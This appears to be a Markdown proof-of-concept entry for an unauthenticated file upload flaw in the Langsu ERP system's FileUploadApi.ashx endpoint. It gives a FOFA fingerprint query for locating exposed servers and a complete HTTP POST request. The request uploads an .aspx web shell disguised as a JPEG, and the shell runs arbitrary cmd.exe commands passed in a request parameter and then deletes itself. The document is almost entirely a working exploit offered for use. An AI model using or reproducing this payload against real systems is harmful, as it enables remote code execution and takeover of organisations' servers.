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44 lines
1.3 KiB
Markdown
44 lines
1.3 KiB
Markdown
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# 朗速ERP系统FileUploadApi.ashx存在文件上传漏洞
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## fofa
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```javascript
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body="/Resource/Scripts/Yw/Yw_Bootstrap.js"
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```
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## poc
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```javascript
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POST /Api/FileUploadApi.ashx?method=DoWebUpload HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
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Accept-Encoding: gzip, deflate
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
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Accept: */*
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Connection: close
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------WebKitFormBoundaryFfJZ4PlAZBixjELj
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Content-Disposition: form-data; name="file"; filename="1.aspx"
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Content-Type: image/jpeg
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<%@ Page Language="Jscript" validateRequest="false" %>
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<%
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var c=new System.Diagnostics.ProcessStartInfo("cmd");
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var e=new System.Diagnostics.Process();
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var out:System.IO.StreamReader,EI:System.IO.StreamReader;
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c.UseShellExecute=false;
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c.RedirectStandardOutput=true;
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c.RedirectStandardError=true;
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e.StartInfo=c;
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c.Arguments="/c " + Request.Item["cmd"];
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e.Start();
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out=e.StandardOutput;
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EI=e.StandardError;
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e.Close();
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Response.Write(out.ReadToEnd() + EI.ReadToEnd());
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System.IO.File.Delete(Request.PhysicalPath);
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Response.End();%>
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------WebKitFormBoundaryFfJZ4PlAZBixjELj--
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```
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